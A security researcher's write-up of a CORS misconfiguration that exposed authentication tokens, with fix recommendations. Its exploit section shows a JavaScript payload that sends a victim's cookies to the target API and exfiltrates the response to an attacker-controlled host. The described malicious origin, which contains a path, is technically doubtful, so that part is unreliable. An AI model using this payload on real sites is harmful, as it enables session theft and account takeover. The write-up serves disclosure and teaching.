Post

Auth Token Theft via CORS Misconfiguration

A critical CORS misconfiguration allowed stealing authentication tokens by abusing a wildcard-like origin match and Access-Control-Allow-Credentials: true.

Auth Token Theft via CORS Misconfiguration

In this post, I’ll walk you through a CORS misconfiguration vulnerability I discovered that allowed me to steal authentication tokens, impersonate users, and access sensitive data — all with a few lines of JavaScript. This bug stemmed from a subtle but dangerous CORS policy misconfiguration.


🧠 Background: What Is CORS?

CORS (Cross-Origin Resource Sharing) is a browser security feature that restricts how websites from one origin can interact with resources from another. If not configured properly, it can unintentionally expose APIs to malicious sites.


🚩 The Vulnerability

The API I tested had the following CORS behavior:

  • It allowed any origin that ended with a trusted subdomain like rise.target.com
  • It also responded with:

    1
    2
    
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Origin: https://evil.com/rise.target.com
    

That meant any malicious domain that crafted a similar subdomain (e.g., https://evil.com/rise.target.com) could bypass origin checks and access sensitive API responses.


🔬 Testing the Exploit

I hosted a malicious site at:

1
https://evil.com/rise.target.com

Then, I injected this simple payload:

1
2
3
4
5
6
7
8
9
fetch("https://id.target.com/v1/session/rise/switch/", {
  method: "GET",
  credentials: "include" // Sends victim's cookies
})
.then(res => res.json())
.then(data => {
  // Exfiltrate session data to my server
  fetch("https://attacker.com/steal?data=" + encodeURIComponent(JSON.stringify(data)));
});

When a logged-in victim visited my page, their browser:

  • Automatically sent their session cookie (HERMES_ID)
  • The API accepted my domain (since it looked trusted)
  • The response included valid tokens and user metadata
  • The data was silently exfiltrated to my server

📸 Evidence

Here’s a look at what I received:

  • ✅ Valid access_token
  • 🧑‍💼 User profile information
  • 🔐 Authenticated session context

POC


🛡️ Fix Recommendations

To fix this kind of issue, here’s what I recommended:

1. Strict CORS Origin Checks

Only allow exact origins:

1
Access-Control-Allow-Origin: https://rise.target.com

Avoid dangerous patterns like:

1
if (origin.endsWith('rise.target.com')) // ❌

2. Secure Cookies with SameSite

Use this to block cross-origin cookies:

1
Set-Cookie: HERMES_ID=abc; Secure; HttpOnly; SameSite=Strict

3. Avoid Allowing Credentials Loosely

Only use:

1
Access-Control-Allow-Credentials: true

…if you’re absolutely sure the origin is trusted.


🎯 Impact

This misconfiguration could allow:

  • Complete account takeover
  • Unauthorized GraphQL or API access
  • Exploitation from any malicious website with a spoofed subdomain

🔚 Final Thoughts

CORS misconfigurations are subtle and often overlooked — but their impact can be critical. This vulnerability didn’t need a single line of backend code to be touched by the attacker. Just a cookie, a misconfigured header, and a clever origin were enough.

If you’re building or reviewing APIs, always test your CORS logic under real attack scenarios. What seems safe on paper might leak tokens in practice.


thanks for reading. If you enjoyed this write-up, feel free to follow me on Twitter

This post is licensed under CC BY 4.0 by the author.